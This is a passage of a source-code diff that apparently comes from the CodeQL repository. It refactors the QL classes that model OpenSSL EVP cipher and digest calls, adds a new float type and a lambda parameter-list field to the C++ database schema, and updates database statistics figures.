override Expr getInputArg() { result = this.(Call).getArgument(2) }
}
-// NOTE: not modeled as cipher operations, these are intermediate calls
-class EVP_Cipher_Update_Call extends Call {
- EVP_Cipher_Update_Call() {
- this.(Call).getTarget().getName() in [
- "EVP_EncryptUpdate", "EVP_DecryptUpdate", "EVP_CipherUpdate"
- ]
- }
-
- Expr getInputArg() { result = this.(Call).getArgument(3) }
-
- DataFlow::Node getInputNode() { result.asExpr() = this.getInputArg() }
-
- Expr getContextArg() { result = this.(Call).getArgument(0) }
-}
-
-class EVP_Cipher_Final_Call extends EVP_Cipher_Operation {
+class EVP_Cipher_Final_Call extends EVPFinal, EVP_Cipher_Operation {
EVP_Cipher_Final_Call() {
this.(Call).getTarget().getName() in [
"EVP_EncryptFinal_ex", "EVP_DecryptFinal_ex", "EVP_CipherFinal_ex", "EVP_EncryptFinal",
@@ -98,26 +66,12 @@ class EVP_Cipher_Final_Call extends EVP_Cipher_Operation {
]
}
- EVP_Cipher_Update_Call getUpdateCalls() {
- CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg())
+ /**
+ * Output is both from update calls and from the final call.
+ */
+ override Expr getOutputArg() {
+ result = EVPFinal.super.getOutputArg()
+ or
+ result = EVP_Cipher_Operation.super.getOutputArg()
}
-
- override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() }
-
- override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() }
-}
-
-class EVP_PKEY_Operation extends EVP_Cipher_Operation {
- EVP_PKEY_Operation() {
- this.(Call).getTarget().getName() in ["EVP_PKEY_decrypt", "EVP_PKEY_encrypt"]
- }
-
- override Expr getInputArg() { result = this.(Call).getArgument(3) }
- // TODO: how PKEY is initialized is different that symmetric cipher
- // Consider making an entirely new class for this and specializing
- // the get init call
-}
-
-class EVPCipherInputArgument extends Expr {
- EVPCipherInputArgument() { exists(EVP_Cipher_Operation op | op.getInputArg() = this) }
}
diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll
index 46d414ece6c..7309242f198 100644
--- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll
+++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashInitializer.qll
@@ -1,10 +1,7 @@
import cpp
+private import OpenSSLOperationBase
-abstract class EVP_Hash_Initializer extends Call {
- Expr getContextArg() { result = this.(Call).getArgument(0) }
-
- abstract Expr getAlgorithmArg();
-}
+abstract class EVP_Hash_Initializer extends EVPInitialize { }
class EVP_DigestInit_Variant_Calls extends EVP_Hash_Initializer {
EVP_DigestInit_Variant_Calls() {
diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll
index c68ccd96084..796f7139838 100644
--- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll
+++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPHashOperation.qll
@@ -8,118 +8,78 @@ private import OpenSSLOperationBase
private import EVPHashInitializer
private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers
-// import EVPHashConsumers
-abstract class EVP_Hash_Operation extends OpenSSLOperation, Crypto::HashOperationInstance {
- Expr getContextArg() { result = this.(Call).getArgument(0) }
+class EVP_Digest_Update_Call extends EVPUpdate {
+ EVP_Digest_Update_Call() { this.(Call).getTarget().getName() = "EVP_DigestUpdate" }
- Expr getAlgorithmArg() { result = this.getInitCall().getAlgorithmArg() }
-
- EVP_Hash_Initializer getInitCall() {
- CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg())
- }
-
- /**
- * By default, the algorithm value comes from the init call.
- * There are variants where this isn't true, in which case the
- * subclass should override this method.
- */
- override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() {
- AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(),
- DataFlow::exprNode(this.getAlgorithmArg()))
- }
+ override Expr getInputArg() { result = this.(Call).getArgument(1) }
}
-private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig {
- predicate isSource(DataFlow::Node source) {
- exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source)
- }
-
- predicate isSink(DataFlow::Node sink) {
- exists(EVP_Hash_Operation c | c.getAlgorithmArg() = sink.asExpr())
- }
-}
-
-private module AlgGetterToAlgConsumerFlow = DataFlow::Global;
-
//https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis
-class EVP_Q_Digest_Operation extends EVP_Hash_Operation {
+class EVP_Q_Digest_Operation extends EVPOperation, Crypto::HashOperationInstance {
EVP_Q_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Q_digest" }
- //override Crypto::AlgorithmConsumer getAlgorithmConsumer() { }
+ override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) }
+
override EVP_Hash_Initializer getInitCall() {
// This variant of digest does not use an init
// and even if it were used, the init would be ignored/undefined
none()
}
- override Expr getOutputArg() { result = this.(Call).getArgument(5) }
-
override Expr getInputArg() { result = this.(Call).getArgument(3) }
- override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() }
+ override Expr getOutputArg() { result = this.(Call).getArgument(5) }
- override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() }
-
- override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() {
- // The operation is a direct algorithm consumer
- // NOTE: the operation itself is already modeld as a value consumer, so we can
- // simply return 'this', see modeled hash algorithm consuers for EVP_Q_Digest
- this = result
+ override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() {
+ result = EVPOperation.super.getOutputArtifact()
}
- override Expr getAlgorithmArg() { result = this.(Call).getArgument(1) }
+ override Crypto::ConsumerInputDataFlowNode getInputConsumer() {
+ result = EVPOperation.super.getInputConsumer()
+ }
}
-class EVP_Digest_Operation extends EVP_Hash_Operation {
+class EVP_Digest_Operation extends EVPOperation, Crypto::HashOperationInstance {
EVP_Digest_Operation() { this.(Call).getTarget().getName() = "EVP_Digest" }
// There is no context argument for this function
override Expr getContextArg() { none() }
+ override Expr getAlgorithmArg() { result = this.(Call).getArgument(4) }
+
override EVP_Hash_Initializer getInitCall() {
// This variant of digest does not use an init
// and even if it were used, the init would be ignored/undefined
none()
}
- override Expr getAlgorithmArg() { result = this.(Call).getArgument(4) }
+ override Expr getInputArg() { result = this.(Call).getArgument(0) }
override Expr getOutputArg() { result = this.(Call).getArgument(2) }
- override Expr getInputArg() { result = this.(Call).getArgument(0) }
+ override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() {
+ result = EVPOperation.super.getOutputArtifact()
+ }
- override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() }
-
- override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() }
+ override Crypto::ConsumerInputDataFlowNode getInputConsumer() {
+ result = EVPOperation.super.getInputConsumer()
+ }
}
-// NOTE: not modeled as hash operations, these are intermediate calls
-class EVP_Digest_Update_Call extends Call {
- EVP_Digest_Update_Call() { this.(Call).getTarget().getName() in ["EVP_DigestUpdate"] }
-
- Expr getInputArg() { result = this.(Call).getArgument(1) }
-
- DataFlow::Node getInputNode() { result.asExpr() = this.getInputArg() }
-
- Expr getContextArg() { result = this.(Call).getArgument(0) }
-}
-
-class EVP_Digest_Final_Call extends EVP_Hash_Operation {
+class EVP_Digest_Final_Call extends EVPFinal, Crypto::HashOperationInstance {
EVP_Digest_Final_Call() {
this.(Call).getTarget().getName() in [
"EVP_DigestFinal", "EVP_DigestFinal_ex", "EVP_DigestFinalXOF"
]
}
- EVP_Digest_Update_Call getUpdateCalls() {
- CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg())
- }
-
- override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() }
-
- override Crypto::ConsumerInputDataFlowNode getInputConsumer() { result = this.getInputNode() }
-
override Expr getOutputArg() { result = this.(Call).getArgument(1) }
- override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() { result = this.getOutputNode() }
+ override Crypto::ArtifactOutputDataFlowNode getOutputArtifact() {
+ result = EVPFinal.super.getOutputArtifact()
+ }
+
+ override Crypto::ConsumerInputDataFlowNode getInputConsumer() {
+ result = EVPFinal.super.getInputConsumer()
+ }
}
diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll
index f9753e92c5d..6ada6cb4665 100644
--- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll
+++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/OpenSSLOperationBase.qll
@@ -1,21 +1,162 @@
private import experimental.quantum.Language
+private import experimental.quantum.OpenSSL.CtxFlow as CTXFlow
+private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumers
+/**
+ * A class for all OpenSSL operations.
+ */
abstract class OpenSSLOperation extends Crypto::OperationInstance instanceof Call {
+ /**
+ * Expression that specifies the algorithm for the operation.
+ * Will be an argument of the operation in the simplest case.
+ */
+ abstract Expr getAlgorithmArg();
+
+ /**
+ * Algorithm is specified in initialization call or is implicitly established by the key.
+ */
+ override Crypto::AlgorithmValueConsumer getAnAlgorithmValueConsumer() {
+ AlgGetterToAlgConsumerFlow::flow(result.(OpenSSLAlgorithmValueConsumer).getResultNode(),
+ DataFlow::exprNode(this.getAlgorithmArg()))
+ }
+}
+
+/**
+ * A Call to initialization functions from the EVP API.
+ * These are not operations in the sense of Crypto::OperationInstance,
+ * but they are used to initialize the context for the operation.
+ */
+abstract class EVPInitialize extends Call {
+ /**
+ * Gets the context argument that ties together initialization, updates and/or final calls.
+ */
+ Expr getContextArg() { result = this.(Call).getArgument(0) }
+
+ /**
+ * Gets the type of key operation, none if not applicable.
+ */
+ Crypto::KeyOperationSubtype getKeyOperationSubtype() { none() }
+
+ /**
+ * Explicitly specified algorithm or none if implicit (e.g., established by the key).
+ * None if not applicable.
+ */
+ Expr getAlgorithmArg() { none() }
+
+ /**
+ * Gets the key for the operation, none if not applicable.
+ */
+ Expr getKeyArg() { none() }
+
+ /**
+ * Gets the IV/nonce, none if not applicable.
+ */
+ Expr getIVArg() { none() }
+}
+
+/**
+ * A Call to update functions from the EVP API.
+ * These are not operations in the sense of Crypto::OperationInstance,
+ * but they are used to update the context for the operation.
+ */
+abstract class EVPUpdate extends Call {
+ /**
+ * Gets the context argument that ties together initialization, updates and/or final calls.
+ */
+ Expr getContextArg() { result = this.(Call).getArgument(0) }
+
+ /**
+ * Update calls always have some input data like plaintext or message digest.
+ */
abstract Expr getInputArg();
/**
- * Can be an argument of a call or a return value of a function.
+ * Update calls sometimes have some output data like a plaintext.
+ */
+ Expr getOutputArg() { none() }
+}
+
+/**
+ * Flows from algorithm values to operations, specific to OpenSSL
+ */
+private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig {
+ predicate isSource(DataFlow::Node source) {
+ exists(OpenSSLAlgorithmValueConsumer c | c.getResultNode() = source)
+ }
+
+ predicate isSink(DataFlow::Node sink) {
+ exists(EVPOperation c | c.getAlgorithmArg() = sink.asExpr())
+ }
+}
+
+private module AlgGetterToAlgConsumerFlow = DataFlow::Global;
+
+/**
+ * The base class for all operations of the EVP API.
+ * This captures one-shot APIs (with and without an initilizer call) and final calls.
+ * Provides some default methods for Crypto::KeyOperationInstance class
+ */
+abstract class EVPOperation extends OpenSSLOperation {
+ /**
+ * Gets the context argument that ties together initialization, updates and/or final calls.
+ */
+ Expr getContextArg() { result = this.(Call).getArgument(0) }
+
+ /**
+ * Some input data like plaintext or message digest.
+ * Either argument provided direcly in the call or all arguments that were provided in update calls.
+ */
+ abstract Expr getInputArg();
+
+ /**
+ * Some output data like ciphertext or signature.
*/
abstract Expr getOutputArg();
- DataFlow::Node getInputNode() {
- // Assumed to be default to asExpr
- result.asExpr() = this.getInputArg()
+ /**
+ * Overwrite with an explicitly specified algorithm or leave base implementation to find it in the initialization call.
+ */
+ override Expr getAlgorithmArg() { result = this.getInitCall().getAlgorithmArg() }
+
+ /**
+ * Finds the initialization call, may be none.
+ */
+ EVPInitialize getInitCall() {
+ CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg())
}
- DataFlow::Node getOutputNode() {
- if exists(Call c | c.getAnArgument() = this)
- then result.asDefiningArgument() = this
- else result.asExpr() = this
+ Crypto::ArtifactOutputDataFlowNode getOutputArtifact() {
+ result = DataFlow::exprNode(this.getOutputArg())
+ }
+
+ /**
+ * Input consumer is the input argument of the call.
+ */
+ Crypto::ConsumerInputDataFlowNode getInputConsumer() {
+ result = DataFlow::exprNode(this.getInputArg())
}
}
+
+/**
+ * The final calls of the EVP API.
+ */
+abstract class EVPFinal extends EVPOperation {
+ /**
+ * All update calls that were executed before this final call.
+ */
+ EVPUpdate getUpdateCalls() {
+ CTXFlow::ctxArgFlowsToCtxArg(result.getContextArg(), this.getContextArg())
+ }
+
+ /**
+ * Gets the input data provided to all update calls.
+ * If more input data was provided in the final call, override the method.
+ */
+ override Expr getInputArg() { result = this.getUpdateCalls().getInputArg() }
+
+ /**
+ * Gets the output data provided to all update calls.
+ * If more output data was provided in the final call, override the method.
+ */
+ override Expr getOutputArg() { result = this.getUpdateCalls().getOutputArg() }
+}
diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml
index ef2d81c4f84..c0dd5d2ae2a 100644
--- a/cpp/ql/lib/qlpack.yml
+++ b/cpp/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
name: codeql/cpp-all
-version: 4.3.2-dev
+version: 5.1.1-dev
groups: cpp
dbscheme: semmlecode.cpp.dbscheme
extractor: cpp
diff --git a/cpp/ql/lib/semmle/code/cpp/Namespace.qll b/cpp/ql/lib/semmle/code/cpp/Namespace.qll
index 2e75a783c14..dc138f67524 100644
--- a/cpp/ql/lib/semmle/code/cpp/Namespace.qll
+++ b/cpp/ql/lib/semmle/code/cpp/Namespace.qll
@@ -174,7 +174,27 @@ class UsingDeclarationEntry extends UsingEntry {
*/
Declaration getDeclaration() { usings(underlyingElement(this), unresolveElement(result), _, _) }
- override string toString() { result = "using " + this.getDeclaration().getDescription() }
+ /**
+ * Gets the member that is referenced by this using declaration, where the member depends on a
+ * type template parameter.
+ *
+ * For example:
+ * ```
+ * template
+ * class A {
+ * using T::m;
+ * };
+ * ```
+ * Here, `getReferencedMember()` yields the member `m` of `T`. Observe that,
+ * as `T` is not instantiated, `m` is represented by a `Literal` and not
+ * a `Declaration`.
+ */
+ Literal getReferencedMember() { usings(underlyingElement(this), unresolveElement(result), _, _) }
+
+ override string toString() {
+ result = "using " + this.getDeclaration().getDescription() or
+ result = "using " + this.getReferencedMember()
+ }
}
/**
diff --git a/cpp/ql/lib/semmle/code/cpp/Type.qll b/cpp/ql/lib/semmle/code/cpp/Type.qll
index aa3fa54835c..fef978b198d 100644
--- a/cpp/ql/lib/semmle/code/cpp/Type.qll
+++ b/cpp/ql/lib/semmle/code/cpp/Type.qll
@@ -839,6 +839,9 @@ private predicate floatingPointTypeMapping(
or
// _Complex _Float128
kind = 61 and base = 2 and domain = TComplexDomain() and realKind = 49 and extended = false
+ or
+ // __mfp8
+ kind = 62 and base = 2 and domain = TRealDomain() and realKind = 62 and extended = false
}
/**
diff --git a/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll b/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll
index 313875d1325..d1836f0ff4d 100644
--- a/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll
+++ b/cpp/ql/lib/semmle/code/cpp/exprs/Lambda.qll
@@ -41,12 +41,17 @@ class LambdaExpression extends Expr, @lambdaexpr {
* - "&" if capture-by-reference is the default for implicit captures.
* - "=" if capture-by-value is the default for implicit captures.
*/
- string getDefaultCaptureMode() { lambdas(underlyingElement(this), result, _) }
+ string getDefaultCaptureMode() { lambdas(underlyingElement(this), result, _, _) }
/**
* Holds if the return type (of the call operator of the resulting object) was explicitly specified.
*/
- predicate returnTypeIsExplicit() { lambdas(underlyingElement(this), _, true) }
+ predicate returnTypeIsExplicit() { lambdas(underlyingElement(this), _, true, _) }
+
+ /**
+ * Holds if the lambda has an explicitly specified parameter list, even when empty.
+ */
+ predicate hasParameterList() { lambdas(underlyingElement(this), _, _, true) }
/**
* Gets the function which will be invoked when the resulting object is called.
diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme b/cpp/ql/lib/semmlecode.cpp.dbscheme
index 9a7c3c14c10..3c45f8b9e71 100644
--- a/cpp/ql/lib/semmlecode.cpp.dbscheme
+++ b/cpp/ql/lib/semmlecode.cpp.dbscheme
@@ -691,6 +691,7 @@ case @builtintype.kind of
| 59 = @complex_std_float64 // _Complex _Float64
| 60 = @complex_float64x // _Complex _Float64x
| 61 = @complex_std_float128 // _Complex _Float128
+| 62 = @mfp8 // __mfp8
;
builtintypes(
@@ -2138,7 +2139,8 @@ code_block(
lambdas(
unique int expr: @lambdaexpr ref,
string default_capture: string ref,
- boolean has_explicit_return_type: boolean ref
+ boolean has_explicit_return_type: boolean ref,
+ boolean has_explicit_parameter_list: boolean ref
);
lambda_capture(
diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats
index 201725ec5d1..3672711aa41 100644
--- a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats
+++ b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats
@@ -2,7 +2,7 @@
@compilation
- 16209
+ 15784
@externalDataElement
@@ -18,63 +18,63 @@
@location_default
- 31651328
+ 36090715
@location_stmt
- 5201796
+ 5203174
@location_expr
- 17955097
+ 17959854
@diagnostic
- 1590
+ 1588
@file
- 83605
+ 81416
@folder
- 15884
+ 15468
@macro_expansion
- 40282895
+ 39233853
@other_macro_reference
- 313754
+ 312446
@function
- 3352272
+ 4000084
@fun_decl
- 3384193
+ 4138632
@var_decl
- 6734162
+ 9237883
@type_decl
- 1889998
+ 1840519
@namespace_decl
- 425663
+ 429821
@using_declaration
- 333109
+ 334516
@using_directive
- 8151
+ 8117
@using_enum_declaration
@@ -82,283 +82,287 @@
@static_assert
- 183988
+ 183028
@parameter
- 4792289
+ 6939003
@membervariable
- 1441877
+ 1489415
@globalvariable
- 425545
+ 486788
@localvariable
- 735182
+ 727548
@enumconstant
- 330375
+ 343845
@errortype
- 134
+ 124
@unknowntype
- 134
+ 124
@void
- 134
+ 124
@boolean
- 134
+ 124
@char
- 134
+ 124
@unsigned_char
- 134
+ 124
@signed_char
- 134
+ 124
@short
- 134
+ 124
@unsigned_short
- 134
+ 124
@signed_short
- 134
+ 124
@int
- 134
+ 124
@unsigned_int
- 134
+ 124
@signed_int
- 134
+ 124
@long
- 134
+ 124
@unsigned_long
- 134
+ 124
@signed_long
- 134
+ 124
@long_long
- 134
+ 124
@unsigned_long_long
- 134
+ 124
@signed_long_long
- 134
+ 124
@float
- 134
+ 124
@double
- 134
+ 124
@long_double
- 134
+ 124
@complex_float
- 134
+ 124
@complex_double
- 134
+ 124
@complex_long_double
- 134
+ 124
@imaginary_float
- 134
+ 124
@imaginary_double
- 134
+ 124
@imaginary_long_double
- 134
+ 124
@wchar_t
- 134
+ 124
@decltype_nullptr
- 134
+ 124
@int128
- 134
+ 124
@unsigned_int128
- 134
+ 124
@signed_int128
- 134
+ 124
@float128
- 134
+ 124
@complex_float128
- 134
+ 124
@decimal32
- 134
+ 124
@decimal64
- 134
+ 124
@decimal128
- 134
+ 124
@char16_t
- 134
+ 124
@char32_t
- 134
+ 124
@std_float32
- 134
+ 124
@float32x
- 134
+ 124
@std_float64
- 134
+ 124
@float64x
- 134
+ 124
@std_float128
- 134
+ 124
@char8_t
- 134
+ 124
@float16
- 134
+ 124
@complex_float16
- 134
+ 124
@fp16
- 134
+ 124
@std_bfloat16
- 134
+ 124
@std_float16
- 134
+ 124
@complex_std_float32
- 134
+ 124
@complex_float32x
- 134
+ 124
@complex_std_float64
- 134
+ 124
@complex_float64x
- 134
+ 124
@complex_std_float128
- 134
+ 124
+
+
+ @mfp8
+ 124
@pointer
- 472813
+ 470186
@type_with_specifiers
- 725904
+ 693862
@array
- 95666
+ 98055
@routineptr
- 861504
+ 857913
@reference
- 1024877
+ 966847
@gnu_vector
- 866
+ 843
@routinereference
- 471
+ 469
@rvalue_reference
- 292111
+ 290677
@block
@@ -366,39 +370,39 @@
@type_operator
- 8530
+ 8519
@decltype
- 102046
+ 102076
@usertype
- 4985429
+ 4863327
@mangledname
- 5807372
+ 6313666
@type_mention
- 5508026
+ 5813148
@concept_template
- 3873
+ 3868
@routinetype
- 761024
+ 757852
@ptrtomember
- 12079
+ 12026
@specifier
- 8342
+ 7724
@gnuattribute
@@ -406,11 +410,11 @@
@stdattribute
- 346335
+ 349236
@declspec
- 326934
+ 328850
@msattribute
@@ -418,19 +422,19 @@
@alignas
- 2194
+ 2171
@attribute_arg_token
- 21022
+ 20935
@attribute_arg_constant_expr
- 89401
+ 86995
@attribute_arg_expr
- 1801
+ 1753
@attribute_arg_empty
@@ -442,39 +446,39 @@
@attribute_arg_type
- 466
+ 461
@derivation
- 599063
+ 598061
@frienddecl
- 881497
+ 881070
@comment
- 11290475
+ 11190891
@namespace
- 11090
+ 10800
@specialnamequalifyingelement
- 134
+ 124
@namequalifier
- 3257060
+ 3255225
@value
- 13198553
+ 13438637
@initialiser
- 2336741
+ 2334426
@address_of
@@ -482,131 +486,131 @@
@indirect
- 402982
+ 403075
@array_to_pointer
- 1948138
+ 1948651
@parexpr
- 4901077
+ 4902379
@arithnegexpr
- 584849
+ 585003
@unaryplusexpr
- 4124
+ 4081
@complementexpr
- 38088
+ 38098
@notexpr
- 357988
+ 357277
@postincrexpr
- 84819
+ 84372
@postdecrexpr
- 57229
+ 57244
@preincrexpr
- 96430
+ 96455
@predecrexpr
- 35715
+ 35725
@conditionalexpr
- 895300
+ 895536
@addexpr
- 569732
+ 570027
@subexpr
- 465458
+ 465581
@mulexpr
- 434352
+ 434630
@divexpr
- 60327
+ 58998
@remexpr
- 19864
+ 20080
@paddexpr
- 118322
+ 118353
@psubexpr
- 68216
+ 67856
@pdiffexpr
- 46016
+ 43732
@lshiftexpr
- 550128
+ 550224
@rshiftexpr
- 199984
+ 200019
@andexpr
- 479850
+ 479933
@orexpr
- 193504
+ 193537
@xorexpr
- 74060
+ 73778
@eqexpr
- 641484
+ 641654
@neexpr
- 410687
+ 410795
@gtexpr
- 110823
+ 110852
@ltexpr
- 139020
+ 139057
@geexpr
- 80996
+ 81166
@leexpr
- 291182
+ 291256
@assignexpr
- 1277386
+ 1277725
@assignaddexpr
@@ -614,23 +618,23 @@
@assignsubexpr
- 15262
+ 15266
@assignmulexpr
- 14123
+ 13754
@assigndivexpr
- 6827
+ 6791
@assignremexpr
- 941
+ 872
@assignlshiftexpr
- 3713
+ 3694
@assignrshiftexpr
@@ -638,19 +642,19 @@
@assignandexpr
- 6509
+ 6510
@assignorexpr
- 19572
+ 19554
@assignxorexpr
- 29822
+ 29829
@assignpaddexpr
- 18573
+ 18578
@assignpsubexpr
@@ -658,75 +662,75 @@
@andlogicalexpr
- 345572
+ 345664
@orlogicalexpr
- 1101612
+ 1100577
@commaexpr
- 167785
+ 168450
@subscriptexpr
- 433866
+ 433981
@callexpr
- 301955
+ 300697
@vastartexpr
- 5108
+ 5071
@vaargexpr
- 1299
+ 1300
@vaendexpr
- 2949
+ 2933
@vacopyexpr
- 171
+ 170
@varaccess
- 8230416
+ 8232597
@runtime_sizeof
- 400615
+ 400974
@runtime_alignof
- 61395
+ 62549
@expr_stmt
- 147937
+ 147968
@routineexpr
- 6142593
+ 6134315
@type_operand
- 1402930
+ 1401612
@offsetofexpr
- 148600
+ 148626
@typescompexpr
- 700718
+ 700060
@literal
- 6101426
+ 6102022
@aggregateliteral
@@ -734,31 +738,31 @@
@c_style_cast
- 6024780
+ 6026987
@temp_init
- 1076374
+ 1073608
@errorexpr
- 57533
+ 57293
@reference_to
- 2191473
+ 2182339
@ref_indirect
- 2653759
+ 2642698
@vacuous_destructor_call
- 9867
+ 9826
@assume
- 4414
+ 4383
@conjugation
@@ -766,11 +770,11 @@
@realpartexpr
- 94
+ 92
@imagpartexpr
- 94
+ 92
@jmulexpr
@@ -810,35 +814,35 @@
@thisaccess
- 1525406
+ 1514600
@new_expr
- 58177
+ 57934
@delete_expr
- 14458
+ 14398
@throw_expr
- 26147
+ 26079
@condition_decl
- 438155
+ 437589
@braced_init_list
- 2334
+ 2328
@type_id
- 60322
+ 60071
@sizeof_pack
- 2188
+ 2178
@hasassignexpr
@@ -866,7 +870,7 @@
@hastrivialconstr
- 3
+ 7
@hastrivialcopy
@@ -882,7 +886,7 @@
@isabstractexpr
- 8
+ 74
@isbaseofexpr
@@ -890,23 +894,23 @@
@isclassexpr
- 2532
+ 2531
@isconvtoexpr
- 269
+ 249
@isemptyexpr
- 1480
+ 8846
@isenumexpr
- 672
+ 2990
@ispodexpr
- 677
+ 1041
@ispolyexpr
@@ -922,83 +926,83 @@
@hastrivialdestructor
- 557
+ 3503
@uuidof
- 27728
+ 27985
@delete_array_expr
- 1597
+ 1556
@new_array_expr
- 6964
+ 6914
@foldexpr
- 1372
+ 1367
@ctordirectinit
- 142053
+ 141461
@ctorvirtualinit
- 5062
+ 5041
@ctorfieldinit
- 259009
+ 257929
@ctordelegatinginit
- 3767
+ 3613
@dtordirectdestruct
- 49639
+ 49432
@dtorvirtualdestruct
- 5019
+ 4998
@dtorfielddestruct
- 50154
+ 49945
@static_cast
- 335397
+ 387985
@reinterpret_cast
- 43190
+ 41729
@const_cast
- 47227
+ 30676
@dynamic_cast
- 1015
+ 989
@lambdaexpr
- 17804
+ 17730
@param_ref
- 177909
+ 177449
@noopexpr
- 52
+ 51
@istriviallyconstructibleexpr
- 1749
+ 3737
@isdestructibleexpr
@@ -1010,19 +1014,19 @@
@istriviallydestructibleexpr
- 1076
+ 996
@istriviallyassignableexpr
- 3
+ 3737
@isnothrowassignableexpr
- 5382
+ 5108
@istrivialexpr
- 829
+ 3644
@isstandardlayoutexpr
@@ -1030,7 +1034,7 @@
@istriviallycopyableexpr
- 2152
+ 1538
@isliteraltypeexpr
@@ -1050,11 +1054,11 @@
@isconstructibleexpr
- 691
+ 3613
@isnothrowconstructibleexpr
- 18568
+ 20682
@hasfinalizerexpr
@@ -1090,11 +1094,11 @@
@isfinalexpr
- 1716
+ 11792
@noexceptexpr
- 30758
+ 30678
@builtinshufflevector
@@ -1102,11 +1106,11 @@
@builtinchooseexpr
- 20636
+ 20646
@builtinaddressof
- 16818
+ 16278
@vec_fill
@@ -1122,7 +1126,7 @@
@spaceshipexpr
- 1406
+ 1404
@co_await
@@ -1134,7 +1138,7 @@
@isassignable
- 438
+ 437
@isaggregate
@@ -1146,11 +1150,11 @@
@builtinbitcast
- 148
+ 249
@builtinshuffle
- 785
+ 764
@blockassignexpr
@@ -1158,7 +1162,7 @@
@issame
- 4864
+ 4858
@isfunction
@@ -1266,7 +1270,7 @@
@reuseexpr
- 907596
+ 906424
@istriviallycopyassignable
@@ -1362,99 +1366,99 @@
@c11_generic
- 30031
+ 30036
@requires_expr
- 17682
+ 17660
@nested_requirement
- 737
+ 736
@compound_requirement
- 11734
+ 11719
@concept_id
- 96899
+ 96773
@lambdacapture
- 28786
+ 28450
@stmt_expr
- 2025654
+ 2026191
@stmt_if
- 987309
+ 987571
@stmt_while
- 39531
+ 39542
@stmt_goto
- 151145
+ 151183
@stmt_label
- 72493
+ 72512
@stmt_return
- 1513767
+ 1507458
@stmt_block
- 1897847
+ 1839752
@stmt_end_test_while
- 232977
+ 233017
@stmt_for
- 84141
+ 84163
@stmt_switch_case
- 895930
+ 894773
@stmt_switch
- 441314
+ 440744
@stmt_asm
- 64016
+ 64027
@stmt_decl
- 770583
+ 767030
@stmt_empty
- 460103
+ 459509
@stmt_continue
- 28042
+ 28016
@stmt_break
- 141003
+ 139921
@stmt_try_block
- 28960
+ 28885
@stmt_microsoft_try
- 225
+ 223
@stmt_set_vla_size
@@ -1466,19 +1470,19 @@
@stmt_assigned_goto
- 12390
+ 12393
@stmt_range_based_for
- 7422
+ 7391
@stmt_handler
- 47453
+ 47330
@stmt_constexpr_if
- 72388
+ 103537
@stmt_co_return
@@ -1494,55 +1498,55 @@
@ppd_if
- 511564
+ 587335
@ppd_ifdef
- 227257
+ 213791
@ppd_ifndef
- 154182
+ 157824
@ppd_elif
- 28098
+ 27363
@ppd_else
- 241116
+ 235606
@ppd_endif
- 846328
+ 883245
@ppd_plain_include
- 408414
+ 397722
@ppd_define
- 3130472
+ 2739070
@ppd_undef
- 93378
+ 100671
@ppd_pragma
- 405268
+ 405677
@ppd_include_next
- 214
+ 213
@ppd_line
- 19065
+ 18866
@ppd_error
- 134
+ 124
@ppd_objc_import
@@ -1566,7 +1570,7 @@
@link_target
- 947
+ 923
@xmldtd
@@ -1596,11 +1600,11 @@
compilations
- 16209
+ 15784
id
- 16209
+ 15784
cwd
@@ -1618,7 +1622,7 @@
1
2
- 16209
+ 15784
@@ -1644,19 +1648,19 @@
compilation_args
- 1297703
+ 1263730
id
- 16209
+ 15784
num
- 1882
+ 1833
arg
- 37523
+ 36541
@@ -1670,77 +1674,77 @@
36
42
- 1286
+ 1252
42
43
- 1408
+ 1371
43
44
